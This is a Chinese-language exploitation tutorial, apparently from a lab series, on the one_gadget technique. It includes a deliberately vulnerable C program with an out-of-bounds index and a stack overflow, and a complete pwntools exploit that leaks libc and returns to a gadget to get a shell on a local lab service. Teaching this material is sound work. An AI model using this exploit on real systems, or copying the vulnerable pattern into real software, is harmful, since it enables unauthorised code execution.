昨天的內容利用了 libc 進行攻擊,不過實際上我們使用的 gadgets 長度既不算長也不算短。而且在之前的題目中,我們常常隨意填充 rbp,那麼 rbp 真的沒有用嗎?事實上,它是有作用的。像是 one gadget 這個工具,就會使用到 rbp,而且它能使 gadgets 的長度最短,因為它只需要控制 rbp 和 8 個 byte 的 return address 即可。
在函式庫中,有些函式會呼叫 execve('/bin/sh', argv, envp),簡單來說就是可以拿來開啟 shell。像是 system(cmd) 可能會執行 fork() + execve('/bin/sh', ["sh","-c",cmd], environ)。因此,如果跳到 system 的某個中段,最終可能會執行 execve('/bin/sh', argv, environ)。
不過,雖然這樣說,直接跳過去不一定會成功,但通常有很多個 one gadget,所以多試幾個總會有成功的可能。如果你想進一步了解工具的運作方式,或者想手動尋找 one gadget,建議參考 david942j 在 HITCON CMT 2017 的議程 david942j - 一發入魂 One Gadget RCE。
使用以下指令安裝 one gadget 工具:
gem install one_gadget
安裝完成後,只需要針對 libc 找出可用的 one gadget,指令如下:
one_gadget <libc file>

可以看到工具會列出各個 gadget 的限制條件,因此需要滿足這些條件,像是 rbp 的值或其他 register 的位置。通常我不會過於在意這些限制條件,只要 rbp 符合條件即可,比如符合 rbp-0x78、rbp-0x48 或 rbp-0x50 是可寫的。
我的習慣是使用 gdb 將程式運行起來,然後通過 vmmap 查看哪些區域是可寫的。找到沒有寫入資料的區段後,將 rbp 設置為那個區段的位址。接著,如果失敗,就換另一個 gadget 繼續測試。
查看以下原始碼:
#include<stdio.h>
#include<stdlib.h>
int main(){
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    long long num[10] = {0};
    while(1){
        puts("1. Edit number");
        puts("2. Show number");
        puts("3. Exit");
        printf(">> ");
        int choice;
        scanf("%d", &choice);
        switch(choice){
            case 1:
                printf("Index: ");
                int idx;
                scanf("%d", &idx);
                printf("Number: ");
                scanf("%lld", &num[idx]);
                break;
            case 2:
                printf("Index: ");
                int idx2;
                scanf("%d", &idx2);
                printf("Number: %lld\n", num[idx2]);
                break;
            case 3:
                break;
            default:
                puts("Invalid choice");
                break;
        }
        if(choice == 3){
            break;
        }
    }
    char message[0x20];
    printf("Leave a message: ");
    read(0, message, 0x80);
    return 0;
}
使用以下指令進行編譯:
gcc src/ret2libc_adv.c -o ./ret2libc_adv/share/ret2libc_adv -fno-stack-protector
相比昨天的 Lab,這次的 read 可以 overflow 的部分變小了,但其餘部分相同,仍然可以通過越界讀取來 leak libc base。查看反組譯碼會發現能 overflow 的位置只有到 rbp 和 return address,因此非常適合使用 one gadget。

使用 one gadget 找到的 gadget 如下:

接下來,我們寫一個簡單的 script 來確認條件,看看能使用哪個 gadget。在測試之前,記得依照昨天的方式換 libc,指令如下:
patchelf --replace-needed libc.so.6 ./libc.so.6 --set-interpreter ./ld-linux-x86-64.so.2 ./ret2libc_adv
然後寫測試的 script 並掛上 gdb:
from pwn import *
r = process('./ret2libc_adv')
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(r)
r.sendlineafter('>> ', '2')
r.sendlineafter('Index: ', '11')
number = int(r.recvline().strip().split(b': ')[1])
libc_base = number - 0x29d90
log.info(f'Libc: {hex(libc_base)}')
payload = b'A' * 0x70
r.sendlineafter('>> ', '3')
r.sendlineafter('Leave a message: ', payload)
r.interactive()
執行後,在 return address 觀察 register 的狀態以及應該填充的 rbp 值:

既然我們已經有了 libc base address,就可以查看 libc 的可寫段:

我通常習慣從最尾端找起,使用指令 x/30gx 0x7f83a8e81000-0x78,發現大多區域都是可寫的。

回到剛才找到的 one gadget,最後一個 gadget 的 offset 是 0xebd43,看起來條件符合。我們將 rbp 填入之前找到的可寫區段(記得加上 offset 和 libc address)。

完整 exploit:
from pwn import *
# r = process('./ret2libc_adv')
r = remote('127.0.0.1', 10006)
r.sendlineafter('>> ', '2')
r.sendlineafter('Index: ', '11')
number = int(r.recvline().strip().split(b': ')[1])
libc_base = number - 0x29d90
log.info(f'Libc: {hex(libc_base)}')
rbp = libc_base + 0x21c000
one_gadget = libc_base + 0xebd43
payload = b'A' * 0x70 + p64(rbp) + p64(one_gadget)
r.sendlineafter('>> ', '3')
r.sendlineafter('Leave a message: ', payload)
r.interactive()
solved!!
